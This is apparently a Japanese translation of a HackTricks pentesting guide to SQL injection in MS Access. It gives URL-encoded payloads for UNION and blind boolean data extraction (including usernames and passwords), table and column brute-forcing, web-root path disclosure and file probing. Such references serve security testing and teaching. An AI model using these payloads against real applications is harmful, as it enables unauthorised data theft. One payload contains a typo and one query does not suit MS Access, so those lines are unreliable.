13 KiB
MS Access SQLインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
オンラインプレイグラウンド
DBの制限事項
文字列の連結
文字列の連結は、& (%26)
と+ (%2b)
の文字で可能です。
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
コメント
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。
1' union select 1,2 from table%00
もし動作しない場合は、クエリの構文を修正することもできます。
1' UNION SELECT 1,2 FROM table WHERE ''='
スタックされたクエリ
サポートされていません。
LIMIT
LIMIT
演算子は実装されていません。ただし、TOP
演算子を使用してSELECTクエリの結果を最初のN行に制限することができます。TOP
は引数として、返される行数を表す整数を受け入れます。
1' UNION SELECT TOP 3 attr FROM table%00
TOPと同様に、**LAST
**を使用することができます。これにより、末尾からの行を取得できます。
UNIONクエリ/サブクエリ
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリをいかに実行するかを考える必要があります。MS Accessでは、サブクエリや追加のクエリではFROM
が指定されている必要があります。
したがって、UNION SELECT
またはUNION ALL SELECT
または条件内のカッコ内のSELECT
を実行したい場合は、常に有効なテーブル名を指定する必要があります。
したがって、有効なテーブル名を知る必要があります。
-1' UNION SELECT username,password from users%00
チェーンの等号 + サブストリング
{% hint style="warning" %} これにより、テーブルの名前を知る必要なく、現在のテーブルの値を外部に漏洩させることができます。 {% endhint %}
MS Accessは、'1'=2='3'='asd'=false
のような奇妙な構文を許可します。通常、SQLインジェクションは**WHERE
**句の中にあるため、これを悪用することができます。
MS AccessデータベースでSQLiがあるとしましょう。そして、列名がusernameであることを知っている(または推測している)場合、チェーンの等号テクニックが使用されたときのウェブアプリの異なる応答をチェックし、**Mid
**関数を使用してサブストリングを取得することで、コンテンツを外部に漏洩させることができます。
'=(Mid(username,1,3)='adm')='
もしテーブルの名前とダンプするカラムが分かっている場合、Mid
、LAST
、TOP
の組み合わせを使用して、ブール型のSQLiを介してすべての情報を漏洩させることができます。
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
オンラインプレイグラウンドで確認してください。
テーブル名のブルートフォース攻撃
チェーンイコールテクニックを使用して、次のような方法でテーブル名をブルートフォース攻撃することもできます。
'=(select+top+1+'lala'+from+<table_name>)='
より伝統的な方法も使用することができます。
-1' AND (SELECT TOP 1 <table_name>)%00
オンラインプレイグラウンドでこれを確認してください。
- Sqlmapの一般的なテーブル名: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- 別のリストはhttp://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.htmlにあります
カラム名のブルートフォース攻撃
現在のカラム名をチェインイコールトリックを使用してブルートフォース攻撃することができます。
'=column_name='
または、group by を使用して:
-1' GROUP BY column_name%00
または、次のコードを使用して、別のテーブルの列名をブルートフォースで特定することもできます。
SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name'
このクエリでは、table_name
の部分を特定のテーブル名に置き換える必要があります。
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
データのダンプ
既にチェーンイコールテクニックについて現在のテーブルや他のテーブルからデータをダンプする方法について説明しました。しかし、他の方法もあります:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
要するに、このクエリは「if-then」ステートメントを使用して、成功した場合に「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。TOP 10演算子を利用することで、最初の10件の結果を選択することができます。その後、LASTの使用により、10番目のタプルのみを考慮することができます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
時間ベース
その他の興味深い関数
Mid('admin',1,1)
は位置1から長さ1の部分文字列を取得します(初期位置は1です)。LEN('1234')
は文字列の長さを取得します。ASC('A')
は文字のASCII値を取得します。CHR(65)
はASCII値から文字列を取得します。IIF(1=1,'a','b')
はif thenです。COUNT(*)
はアイテムの数を数えます。
テーブルの列挙
ここから、テーブル名を取得するクエリを確認できます。
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
ただし、SQLインジェクションでは、テーブルMSysObjects
を読み取る権限がない場合が非常に一般的です。
ファイルシステムアクセス
Webルートディレクトリの完全パス
Webルートの絶対パスを知ることは、さらなる攻撃を容易にするかもしれません。アプリケーションのエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることで、ディレクトリパスを特定することができます。
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Accessは、Webディレクトリの完全パス名を含むエラーメッセージで応答します。
ファイルの列挙
次の攻撃ベクトルは、リモートファイルシステム上のファイルの存在を推測するために使用できます。指定したファイルが存在する場合、MS Accessはデータベースの形式が無効であることを通知するエラーメッセージをトリガします。
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
ファイルを列挙する別の方法は、データベース.テーブルのアイテムを指定することです。指定したファイルが存在する場合、MS Accessはデータベースの形式エラーメッセージを表示します。
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdbファイル名の推測
次のクエリを使用して、**データベースファイル名(.mdb)**を推測することができます。
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
ここで、name[i]は.mdbファイル名であり、realTableはデータベース内の存在するテーブルです。MS Accessは常にエラーメッセージをトリガしますが、無効なファイル名と有効な.mdbファイル名を区別することができます。
.mdbパスワードクラッカー
Access PassViewは、Microsoft Access 95/97/2000/XPまたはJet Database Engine 3.0/4.0のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
参考文献
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのスワッグを手に入れましょう。
-
💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。